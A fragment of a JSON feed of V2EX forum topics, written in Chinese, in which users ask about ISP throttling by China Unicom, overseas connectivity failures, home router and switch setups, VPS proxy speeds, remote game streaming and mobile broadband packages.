      "content_html": "RT,\u6700\u8fd1\u624d\u53d1\u73b0\u7684\uff0c\u53d1\u5f80\u6d77\u5916\uff08\u542b\u6e2f\u6fb3\u5730\u533a\uff09\u7684 ipv4 \u8bbf\u95ee\u8bf7\u6c42\u5168\u90fd\u4e0d\u901a\u4e86\uff0c\u4ece\u5916\u9762\u8bbf\u95ee\u56de\u6765\u4e5f\u662f\uff0c\u53ea\u8981\u6e90\u5730\u5740\u662f\u6d77\u5916\uff0c\u5c31\u8bbf\u95ee\u5168\u90fd\u8d85\u65f6\uff0cipv6 \u8fd8\u65ad\u65ad\u7eed\u7eed\u7684\uff0c\u5076\u5c14 ipv6 \u80fd\u901a"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/CHS", 
        "name": "CHS", 
        "avatar": "https://cdn.v2ex.com/gravatar/5ce179f54849238b260f7854dfa6d1b5?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205106", 
      "title": "\u6c5f\u82cf\u8054\u901a\u5546\u5bbd\u9650\u901f", 
      "id": "https://www.v2ex.com/t/1205106", 
      "date_published": "2026-04-11T06:41:39+00:00", 
      "content_html": "RT \uff0c\u5750\u6807 0510 \uff0c\u6570\u5b57\u667a\u4f01+\u5957\u9910\uff0c149 \u6321\u4f4d 1G/200M<br />\u76ee\u524d\u75c7\u72b6\u8054\u901a\u5b98\u65b9\u6d4b\u901f\u6b63\u5e38\uff0c\u4e2d\u79d1\u5927/\u5357\u4eac\u5927\u5b66\u6d4b\u901f\u6b63\u5e38\uff0c\u5168\u7403\u7f51\u6d4b\u5357\u4eac\u8054\u901a\u8282\u70b9\u6b63\u5e38<br />\u5176\u4f59\u5168\u90e8\u9650\u901f\u4e0a\u884c 2Mbps \uff0cIP \u6bb5 116.147<br />\u8fd0\u7ef4\u8868\u793a\u88ab\u8054\u901a\u7ba1\u63a7\uff0c\u5df2\u7ecf\u8054\u7cfb\u5ba2\u6237\u7ecf\u7406\uff0c\u8868\u793a\u5468\u4e00\u5e2e\u5fd9\u53d1\u534f\u8c03\u51fd\u5c1d\u8bd5\u89e3\u9664<br />\u76ee\u524d\u7b49\u5f85\u8fdb\u4e00\u6b65\u66f4\u65b0\u4e2d"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Awes0me", 
        "name": "Awes0me", 
        "avatar": "https://cdn.v2ex.com/avatar/9ad2/67ac/111002_large.png?m=1767670953"
      }, 
      "url": "https://www.v2ex.com/t/1205060", 
      "title": "\u54ea\u5bb6\u6709\u7a33\u5b9a\u7684\u5bb6\u5bbd\u554a\uff0c\u505a TikTok shop \u7528\u7684", 
      "id": "https://www.v2ex.com/t/1205060", 
      "date_published": "2026-04-11T02:01:17+00:00", 
      "content_html": "<p>\u4e00\u76f4\u7528\u7684\u673a\u573a\uff0c\u6700\u8fd1\u60f3\u4e70 chatgpt \u4f1a\u5458\u53d1\u73b0\u75af\u72c2\u88ab\u98ce\u63a7\uff0c\u7136\u540e\u8ba2\u5355\u91cf\u8d8a\u6765\u8d8a\u591a\uff0c\u611f\u89c9\u4e0d\u592a\u5b89\u5168\u4e86\uff0c\u8fd8\u662f\u5f97\u6362\u7a33\u5b9a\u5bb6\u5bbd ip</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/microka", 
        "name": "microka", 
        "avatar": "https://cdn.v2ex.com/avatar/9276/1193/88566_large.png?m=1766842662"
      }, 
      "url": "https://www.v2ex.com/t/1205039", 
      "title": "ipw.cn \u65e0\u6cd5\u8bbf\u95ee", 
      "id": "https://www.v2ex.com/t/1205039", 
      "date_published": "2026-04-10T19:04:25+00:00", 
      "content_html": "\u770b\u5230 <a target=\"_blank\" href=\"http://ipw.cn\" rel=\"nofollow noopener\">ipw.cn</a> \u7684 DNS \u89e3\u6790\u57fa\u672c\u6ca1\u4e86\uff0c\u8bf7\u95ee\u5565\u60c5\u51b5\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/kincaid", 
        "name": "kincaid", 
        "avatar": "https://cdn.v2ex.com/avatar/0a0e/9a68/504641_large.png?m=1776152002"
      }, 
      "url": "https://www.v2ex.com/t/1204989", 
      "title": "\u5404\u4f4d\u4f6c\u4eec\uff0c\u6709\u6ca1\u6709\u5c0f\u7684\u4ea4\u6362\u673a\u63a8\u8350", 
      "id": "https://www.v2ex.com/t/1204989", 
      "date_published": "2026-04-10T10:46:32+00:00", 
      "content_html": "<p>\u653e\u516c\u53f8\u7528\uff0c\u540e\u9762\u51c6\u5907\u62ff\u5230\u5bb6\u91cc\uff0c\u56db\u4e94\u4e2a\u53e3\u5c31\u591f\u4e86\uff0c\u73b0\u5728\u770b\u4e86\u6c34\u661f\u7684 SE106 Pro \uff0c\u4e0d\u77e5\u9053\u600e\u4e48\u6837\uff0c\u6216\u8005\u6709\u6ca1\u6709\u522b\u7684\u63a8\u8350</p>\n<p>\u6700\u597d\u7f51\u7ba1\u578b\u7684\uff0c\u6bd4\u8f83\u559c\u6b22\u6298\u817e</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/lyz2754509784", 
        "name": "lyz2754509784", 
        "avatar": "https://cdn.v2ex.com/avatar/ed5d/64d7/701882_large.png?m=1767162596"
      }, 
      "url": "https://www.v2ex.com/t/1204916", 
      "title": "\u6c5f\u82cf\u8054\u901a\u5168\u5c40\u9650\u901f\u4f46\u4e0d\u627f\u8ba4\u5982\u4f55\u7834\u5c40\uff1f", 
      "id": "https://www.v2ex.com/t/1204916", 
      "date_published": "2026-04-10T07:49:04+00:00", 
      "content_html": "\u7b2c\u4e00\u6b21\u8fdb\u5c0f\u9ed1\u5c4b\u5728 26 \u5e74 1 \u6708 9 \u53f7\uff0cip \u53d8\u6210 122.192 \uff0c\u6295\u8bc9\u540e\u5728\u5de5\u4f5c\u65e5\u76f4\u63a5\u6062\u590d\u4e86\uff0c\u8fc7\u5b8c\u5e74 3 \u6708 4 \u53f7\u518d\u6b21\u8fdb\u5165\u5c0f\u9ed1\u5c4b\uff0cip116.147 \u6216\u8005 122.192 \u5f52\u5c5e\u5730\u5728\u5357\u4eac\u6216\u8005\u5f90\u5dde\uff0c\u5168\u7403\u7f51\u6d4b\u548c\u6cf0\u5c14\u7f51\u6d4b\u4e4b\u7c7b\u7684\u6d4b\u901f\u8f6f\u4ef6\u5168\u90fd\u4e0a\u4f20\u53ea\u5269 5m \u4e86\uff0ciperf3 \u4e5f\u53ea\u6709 5m \uff0c\u88c5\u7ef4\u4e0a\u95e8\u4e5f\u62ff\u6c34\u5370\u76f8\u673a\u4f20\u5230\u540e\u53f0\u53bb\u4e86\uff0c10010 \u7684\u5ba2\u670d\u54ac\u6b7b\u4e86\u8bf4\u88c5\u7ef4 PDA \u6d4b\u901f\u6ca1\u95ee\u9898\u90a3\u5bbd\u5e26\u5c31\u6ca1\u95ee\u9898\uff0c\u4ed6\u4eec\u4e0d\u8ba4\u4efb\u4f55\u7684\u7b2c\u4e09\u65b9\u6d4b\u901f\u3002\u3002\u3002\u5c31\u7b97\u662f\u4e2d\u56fd\u4fe1\u901a\u9662\u51fa\u7684\u8f6f\u4ef6\u4e5f\u4e0d\u8ba4\uff0c\u6295\u8bc9\u81f3\u5de5\u4fe1\u90e8\uff0c\u63d0\u4ea4\u4e86\u521a\u521a\u8bf4\u7684\u9650\u901f\u8bc1\u636e\u8fd8\u6709\u6296\u97f3\u76f4\u64ad\u52a9\u624b\u7684\u6d4b\u901f\u622a\u56fe\uff0c\u968f\u540e\u8054\u901a\u90a3\u8fb9\u4f9d\u65e7\u662f\u53ea\u4ee5\u81ea\u5df1\u88c5\u7ef4\u7684 PDA \u6d4b\u901f\u7ed3\u679c\u4e3a\u51c6\uff0c\u6001\u5ea6\u7279\u522b\u50b2\u6162\uff0c\u5de5\u4fe1\u90e8\u7533\u8bc9\u76f4\u63a5\u5931\u8d25\u4e14\u8054\u901a\u76f4\u63a5\u62d2\u7edd\u8c03\u89e3\u4e86\u3002\u3002\u3002\u60f3\u95ee\u95ee\u5927\u5bb6\u6709\u4ec0\u4e48\u7834\u5c40\u7684\u65b9\u6cd5\uff1f\u6bd5\u7adf\u660e\u773c\u4eba\u4e00\u773c\u5c31\u80fd\u770b\u51fa\u662f\u9650\u901f\u4e86\u4f46\u662f\u5c45\u7136\u5c31\u662f\u62ff\u4ed6\u6ca1\u6709\u529e\u6cd5\uff0c\u67e5\u4e86\u4e00\u4e0b\u53c8\u4f3c\u4e4e\u6ca1\u6709\u76f8\u5173\u7684\u6cd5\u5f8b\u7ea6\u675f <a target=\"_blank\" href=\"https://i.imgur.com/VCj5rNu.jpeg\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/VCj5rNu.jpeg\" class=\"embedded_image\" rel=\"noreferrer\"></a> <a target=\"_blank\" href=\"https://i.imgur.com/Vq55gem.jpeg\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/Vq55gem.jpeg\" class=\"embedded_image\" rel=\"noreferrer\"></a> <a target=\"_blank\" href=\"https://i.imgur.com/vSGZzlB.jpeg\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/vSGZzlB.jpeg\" class=\"embedded_image\" rel=\"noreferrer\"></a> <a target=\"_blank\" href=\"https://i.imgur.com/q296CuW.jpeg\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/q296CuW.jpeg\" class=\"embedded_image\" rel=\"noreferrer\"></a> <a target=\"_blank\" href=\"https://i.imgur.com/ZtRIJPC.jpeg\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/ZtRIJPC.jpeg\" class=\"embedded_image\" rel=\"noreferrer\"></a>"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/nc", 
        "name": "nc", 
        "avatar": "https://cdn.v2ex.com/avatar/66b3/f079/792507_large.png?m=1773407804"
      }, 
      "url": "https://www.v2ex.com/t/1204808", 
      "title": "\u8054\u901a\u5bf9\u67d0\u4e9b UDP \u7aef\u53e3\u6709\u7279\u6b8a\u4f18\u5316\uff1f", 
      "id": "https://www.v2ex.com/t/1204808", 
      "date_published": "2026-04-10T02:38:01+00:00", 
      "content_html": "<p>\u6700\u8fd1\u51b2\u6d6a\u65f6\u641c\u5230\u4e86\u5df2\u7ecf 404 \u7684\u5e16\u5b50\uff1a <a href=\"https://web.archive.org/web/20230919090818/https://www.v2ex.com/t/855736\" rel=\"nofollow\">https://web.archive.org/web/20230919090818/https://www.v2ex.com/t/855736</a></p>\n<p>\u5f15\u5e16\u5b50\u91cc\u7684\u53d1\u73b0\uff1a</p>\n<ul>\n<li>UDP 16384-16389 Facetime \u8996\u50cf\u901a\u8a71</li>\n<li>UDP 12346 12446 \u601d\u79d1 SDWAN Edge Router \u901a\u4fe1</li>\n<li>TCP 9001 9002 \u7b2c\u4e09\u65b9\u5099\u4efd\u61c9\u7528 ETL \u6578\u64da\u7ba1\u7406\u5668</li>\n<li>TCP 23456 23556 \u601d\u79d1 SDWAN Edgeroute \u901a\u4fe1</li>\n</ul>\n<p>\u540c\u4e00\u7528\u6237\u5728\u53e6\u4e00\u5e16\u5b50\u7684\u8bc4\u8bba\uff1a <a href=\"https://cn.v2ex.com/t/831950#r_11335473\" rel=\"nofollow\">https://cn.v2ex.com/t/831950#r_11335473</a></p>\n<p>\u73b0\u5728\u662f\u5426\u8fd8\u6709\u6548\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/fancy2020", 
        "name": "fancy2020", 
        "avatar": "https://cdn.v2ex.com/gravatar/5165a7be85e76ab70cb3dc2eb6f6a461?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1204706", 
      "title": "\u8fd9\u4e24\u5929\u665a\u4e0a\u8fde\u7532\u9aa8\u6587\u4e91\u65e5\u672c\u8282\u70b9\u975e\u5e38\u5361\uff0c\u6d4b\u4e86\u4e00\u4e0b\u8054\u901a\u548c\u7535\u4fe1\u95f4\u7684\u901f\u5ea6\u53ea\u6709 4Mbps \u5de6\u53f3", 
      "id": "https://www.v2ex.com/t/1204706", 
      "date_published": "2026-04-09T12:09:51+00:00", 
      "content_html": "\u6211\u662f\u5c71\u4e1c\u8054\u901a\u7528\u6237\u3002<br /><br />\u56e0\u4e3a 4 \u6708\u5f00\u59cb\u68af\u5b50\u5361\u7206\u4e86\uff0c\u6240\u4ee5\u6361\u8d77\u4e86\u4e4b\u524d\u4e00\u53f0\u65e5\u672c\u7532\u9aa8\u6587\u7684 vps \uff0c\u534f\u8bae\u7528\u7684 SNELL \uff0c\u7528 Surge \u8fde\u63a5\u3002<br /><br />\u524d\u51e0\u5929\uff08\u6709\u4e09\u56db\u5929\u7684\u6837\u5b50\uff09\u7528\u7740\u4e00\u76f4\u633a\u6d41\u7545\uff0c\u7136\u540e\u4ece\u6628\u5929\u665a\u4e0a\u5f00\u59cb\u53d8\u5f97\u5f88\u5361\u3002\u7136\u540e\u6211\u6d4b\u4e86\u4e00\u4e0b\u901f\u5ea6\uff0c\u548c\u540c\u57ce\u5e02\u7684\u8054\u901a\u8282\u70b9\u57fa\u672c\u53ef\u4ee5\u6ee1\u901f(500Mbps)\uff0c\u4f46\u662f\u548c\u540c\u57ce\u7684\u7535\u4fe1\u8282\u70b9\u4e4b\u95f4\u53ea\u6709 4Mbps \uff0c\u8fd9\u662f\u5426\u6b63\u5e38\uff1f\u641c\u4e86\u4e00\u4e0b\u7f51\u4e0a\u4e5f\u6709\u633a\u591a\u540c\u6837\u75c7\u72b6\u7684\u3002<br /><br />\u4e0d\u592a\u6e05\u695a\u8fd9\u4e24\u4e2a\u95ee\u9898\u662f\u5426\u6709\u5173\u8054\uff0c\u4e0d\u8fc7\u5927\u6982\u5e94\u8be5\u90fd\u662f\u540c\u4e00\u7c7b\u95ee\u9898\uff0c\u5c31\u662f\u665a\u9ad8\u5cf0\u5e26\u5bbd\u4e0d\u591f\u7528\uff1f<br /><br />\u57fa\u672c\u53ef\u4ee5\u6392\u9664 IP \u88ab\u5899\u7684\u95ee\u9898\uff0c\u7b2c\u4e00\u56e0\u4e3a\u6211\u767d\u5929\u6d4b\u8bd5\u90fd\u5f88\u6d41\u7545\uff0c\u7b2c\u4e8c\u662f\u6211\u90e8\u7f72\u4e86\u53e6\u4e00\u53f0\u540c\u4e00\u533a\u57df\u7684 vps \u901f\u5ea6\u57fa\u672c\u4e00\u6837\u3002<br /><br />\u4e0d\u8fc7\u6211\u8fd9\u4e2a vps \u8282\u70b9\u521a\u642d\u5efa\u4e4b\u540e\u7684\u4e09\u56db\u5929\u633a\u6d41\u7545\u7684\uff0c\u6709\u6ca1\u6709\u53ef\u80fd\u88ab\u68c0\u6d4b\u5230\u7528\u68af\u5b50\u7136\u540e\u8fd0\u8425\u5546\u5728\u9ad8\u5cf0\u671f\u7ed9\u6211\u9650\u901f\u4e86\u5462\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/andyskaura", 
        "name": "andyskaura", 
        "avatar": "https://cdn.v2ex.com/avatar/b316/d75e/520804_large.png?m=1749177318"
      }, 
      "url": "https://www.v2ex.com/t/1204608", 
      "date_modified": "2026-04-09T05:54:59+00:00", 
      "content_html": "1.N100 \u5355\u7f51\u53e3\uff08\u5e26 wifi \uff09\u88c5\u98de\u725b\u865a\u62df openwrt \uff0cUSB3.2 \u62d3\u5c55\u51fa\u4e00\u4e2a\u7f51\u5361\uff0c\u6302\u8fd0\u8425\u5546\u7684\u8def\u7531\u5668<br /><br />2.\u4e3b\u7f51\u7edc\u4e0d\u53d8\uff0cn100 \u5f00\u70ed\u70b9\uff0c\u5bb6\u91cc\u4e24\u4e2a wifi \u533a\u5206\u5f00<br /><br />3.n100 \u505a\u65c1\u8def\u7531\uff0c\u8fd0\u8425\u5546\u8def\u7531\u5668\u6ca1\u90a3\u4e48\u591a\u529f\u80fd\uff0c\u76f4\u63a5\u7f51\u5173\u6307\u5411 n100<br /><br />\u6838\u5fc3\u9700\u6c42\uff1a<br />1.\u628a\u5403\u7070\u7684 N100 \u5229\u7528\u8d77\u6765<br />2.\u65e0\u611f\u4ee3\u7406\u5bb6\u5ead\u7f51\u7edc<br />3.\u88c5 uu \u52a0\u901f\u5668\u4e3b\u673a\u63d2\u4ef6<br /><br />\u8865\u5145\u95ee\u9898\uff1a\u540e\u7eed\u8fd8\u6253\u7b97\u5728\u4e66\u623f\u653e\u4e2a\u8def\u7531\u5668\u6865\u63a5\u4e00\u4e0b\uff0c\u4e0d\u7136\u8fc7\u9053\u4eba\u4e00\u8d70\u52a8\u5c31\u6709\u5f71\u54cd", 
      "date_published": "2026-04-09T05:47:47+00:00", 
      "title": "\u4e2d\u5e74\u4eba\u8981\u5f00\u59cb\u6298\u817e\u5bb6\u7528\u7f51\u7edc\u4e86\uff0c\u5e2e\u5fd9 review \u4e00\u4e0b\uff0c\u4e09\u65b9\u6848\u9009\u4e00\uff0c\u63d0\u51fa\u5408\u7406\u7684\u5efa\u8bae", 
      "id": "https://www.v2ex.com/t/1204608"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/yanfulives", 
        "name": "yanfulives", 
        "avatar": "https://cdn.v2ex.com/gravatar/0b8527caaec717f5b96ca1c4804fc71e?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1204584", 
      "date_modified": "2026-04-09T05:55:35+00:00", 
      "content_html": "<p>2026 \u5e74 2 \u6708\u4efd\u7684\u65f6\u5019\uff0c\u8d2d\u4e70\u4e86\u4eac\u4e1c\u4e91\uff0cUbuntu server\n\u90e8\u7f72\u4e86 rustdesk\n\u90e8\u7f72\u4e86 zerotier\n\u90e8\u7f72\u4e86 headscale\n\u5bb6\u91cc\u6709\u53f0\u5f0f\u7535\u8111 A \uff0c\u7535\u8111 A \u5b89\u88c5\u4e86 Tailscale \uff0czerotier,Sunshine\n\u5916\u51fa\u7528\u7535\u8111 B,\u7535\u8111 B \u5b89\u88c5\u4e86 Tailscale \uff0cZerotier \uff0cMoonlight\n3 \u6708\u4efd\u7684\u65f6\u5019\uff0c\u7535\u8111 B \u53ef\u901a\u8fc7 Moonlight \u8fdc\u7a0b\u7535\u8111 A \u6253\u6e38\u620f\n4 \u6708\u4efd\u7535\u8111 B \u901a\u8fc7 Moonlight \u8fdc\u7a0b\u5bb6\u91cc\u7684\u7535\u8111 A \u7684\u65f6\u5019\uff0c\nmoonlight \u753b\u9762\u5c31\u9759\u6b62\u4e86\u4e0d\u52a8\u4e86\uff0c\u9f20\u6807\u4e5f\u770b\u4e0d\u89c1\uff0c\n\u8fd9\u4e2a\u95ee\u9898\u600e\u4e48\u6392\u67e5\uff0c\u600e\u4e48\u89e3\u51b3\uff0c\u51fa\u5dee\u5728\u9152\u5e97\uff0c\u96be\u9053\u662f\u9152\u5e97\u7684 WiFi \u95ee\u9898\uff1f</p>\n", 
      "date_published": "2026-04-09T04:38:46+00:00", 
      "title": "Moonlight \u94fe\u63a5\u5bb6\u91cc\u7684\u7535\u8111\u6253\u6e38\u620f\uff0c\u7a81\u7136\u5c31\u8fde\u4e0a\u753b\u9762\u4e0d\u5237\u65b0", 
      "id": "https://www.v2ex.com/t/1204584"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/rosebush373", 
        "name": "rosebush373", 
        "avatar": "https://cdn.v2ex.com/gravatar/b085f045d8dc7ecf659191d1b6a2356a?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1204370", 
      "date_modified": "2026-04-09T00:00:51+00:00", 
      "content_html": "", 
      "date_published": "2026-04-08T08:55:58+00:00", 
      "title": "4g \u624b\u673a\u5361\u8fd8\u6709\u591a\u5c11\u670b\u53cb\u5728\u7528", 
      "id": "https://www.v2ex.com/t/1204370"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/BrainStream", 
        "name": "BrainStream", 
        "avatar": "https://cdn.v2ex.com/gravatar/47d4e43b29086b98a652c16a397f9529?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1204340", 
      "title": "\u5173\u4e8e\u6210\u90fd\u79fb\u52a8 66 \u5143\u878d\u5408\u5957\u9910\u548c\u7535\u4fe1\u643a\u53f7\u8f6c\u7f51\u7684\u7591\u95ee", 
      "id": "https://www.v2ex.com/t/1204340", 
      "date_published": "2026-04-08T07:44:22+00:00", 
      "content_html": "<p>\u5982\u9898\uff0c\u5bb6\u91cc\u539f\u6765\u7528\u7684\u662f</p>\n<p><code>\u7535\u4fe1 199+10 \u5bbd\u5e26\u878d\u5408, 1000M + 6 \u5f20\u53f7\u5361 + \u65e0\u9650\u6d41\u91cf(40G \u8fbe\u91cf\u9650\u901f)</code></p>\n<p>\u73b0\u5728\u7f51\u4e0a\u53d1\u73b0\u79fb\u52a8\u7684\u5957\u9910\u4f1a\u4fbf\u5b9c\u5f88\u591a\uff0c\u5171\u53d1\u73b0\u4ee5\u4e0b\u51e0\u79cd\uff1a</p>\n<ol>\n<li>134 \u5143/\u6708 (\u5343\u5146+6 \u53f7\u5361+260G \u6d41\u91cf+1800 \u5206\u949f\u901a\u8bdd)\u7684\u8f6c\u7f51\u5957\u9910</li>\n<li>66  \u5143/\u6708 (\u5343\u5146+5 \u53f7\u5361+140G   + 1000 min) (\u8fd9\u4e2a\u4e5f\u8bf4\u662f\u79fb\u52a8\u7684)</li>\n<li>\u79fb\u52a8\u7684\u8fd8\u6709 82/96/116 \u4e00\u4e2a\u6708\u7684\uff0c\u4e5f\u5c31\u662f\u591a\u4e00\u4e9b\u6d41\u91cf\u548c\u901a\u8bdd</li>\n</ol>\n<p>\u73b0\u5728\u7591\u95ee\u6765\u4e86</p>\n<ol>\n<li>\n<p>\u771f\u6709 66 \u5143\u7684\u5417\uff0c\u6709\u65e0\u8001\u54e5\u529e\u8fc7\uff0c\u8fd8\u662f\u8bf4\u6709\u4ec0\u4e48\u5751\uff0c\u8fd9\u4e9b\u90fd\u662f\u7f51\u4e0a(\u5fae\u4fe1\u7fa4/\u5c0f\u7ea2\u4e66)\u770b\u5230\u7684\uff0c\u4e0d\u77e5\u9053\u9760\u4e0d\u9760\u8c31(\u6bd4\u5982\u8fd9\u4e2a\u5ba3\u4f20\u7684\uff1a\u79fb\u52a8 66 \u6708 1000M \uff0c140G \u5168\u56fd\uff0c1000 \u5206\u949f\uff0c\u9001\u5149\u732b\u673a\u9876\u76d2\uff0c3000M \u8def\u7531\u5668\uff0c\u7535\u89c6\u4f1a\u5458\uff0c5 \u5f20\u514d\u8d39\u526f\u5361)</p>\n</li>\n<li>\n<p>\u73b0\u5728\u643a\u53f7\u8f6c\u7f51\u7684\u5ba2\u6237\u62a2\u593a\u771f\u5230\u4e86\u8fd9\u4e2a\u5730\u6b65\u5417\uff1f</p>\n</li>\n<li>\n<p>\u7f51\u4e0a\u770b\u5230\u5f88\u591a\u53d1\u8fd9\u79cd\u5957\u9910\u5438\u5f15\u4eba\u53bb\u529e\u7684\u53f7\uff0c\u4ed6\u4eec\u540c\u65f6\u4e5f\u53d1\u5168\u56fd\u5404\u5730\u7684\u5957\u9910\u5e16\u5b50\uff0c\u8fd9\u4e9b\u4eba\u6216\u8005\u8bf4\u8fd9\u4e9b\u53f7\u662f\u5c5e\u4e8e\u7f51\u4e0a\u9500\u552e\u5417\uff1f\u6700\u540e\u7684\u6e20\u9053\u53ef\u4fe1\u4e0d\u53ef\u4fe1</p>\n</li>\n</ol>\n<p>\u7531\u4e8e\u4e4b\u524d\u5bf9\u8fd0\u8425\u5546\u7684\u4fe1\u4efb\u7a0b\u5ea6\u592a\u5dee\uff0c\u6015\u8fd9\u4e2a 66 \u5143\u7684\u5957\u9910\uff0c\u91cc\u9762\u7684\u6d41\u91cf 140G \u5168\u56fd\u662f\u4e00\u5e74\u7684\uff0c\u800c\u4e0d\u662f\u4e00\u4e2a\u6708\u7684\uff0c\u90a3\u5c31\u5f88\u5751\u4eba\u4e86</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/rick13", 
        "name": "rick13", 
        "avatar": "https://cdn.v2ex.com/avatar/7516/64a7/670413_large.png?m=1715390248"
      }, 
      "url": "https://www.v2ex.com/t/1204260", 
      "date_modified": "2026-04-08T11:45:04+00:00", 
      "content_html": "\u5728\u5bb6\u7528\u9ad8\u4f4d\u7aef\u53e3\u90e8\u7f72\u4e86\u4e00\u4e2a emby \uff0c\u53d1\u73b0\u5e7f\u4e1c\u7535\u4fe1\u7684 ipv6 \u80fd\u8bbf\u95ee\uff0c\u4f46\u662f\u8054\u901a\u7684\u4e0d\u884c", 
      "date_published": "2026-04-08T03:33:59+00:00", 
      "title": "\u5e7f\u4e1c\u7535\u4fe1\u7684 ipv6 \u662f\u5185\u7f51\uff1f", 
      "id": "https://www.v2ex.com/t/1204260"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/szsgz", 
        "name": "szsgz", 
        "avatar": "https://cdn.v2ex.com/avatar/c5b0/3cd6/193770_large.png?m=1735801958"
      }, 
      "url": "https://www.v2ex.com/t/1204107", 
      "title": "\u83b7\u53d6\u5230\u591a\u4e2a\u516c\u7f51 IP \u6709\u4ec0\u4e48\u4f5c\u7528\uff1f", 
      "id": "https://www.v2ex.com/t/1204107", 
      "date_published": "2026-04-07T10:52:58+00:00", 
      "content_html": "\u4e4b\u524d\u4e00\u76f4\u542c\u8bf4 Starhub \u7684\u7f51\u7edc\u53ef\u4ee5\u83b7\u53d6\u591a\u4e2a\u516c\u7f51 IP<br />\u4eca\u5929\u968f\u4fbf\u8bd5\u4e86\u4e00\u4e0b\u597d\u50cf\u771f\u7684\u53ef\u4ee5<br />\u4f46\u662f\u4e0d\u77e5\u9053\u6709\u4ec0\u4e48\u4f5c\u7528...<br /><br /><br /> <a target=\"_blank\" href=\"https://i.imgur.com/EpzY1xU.png\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/EpzY1xU.png\" class=\"embedded_image\" rel=\"noreferrer\"></a>"
    }
  ]
}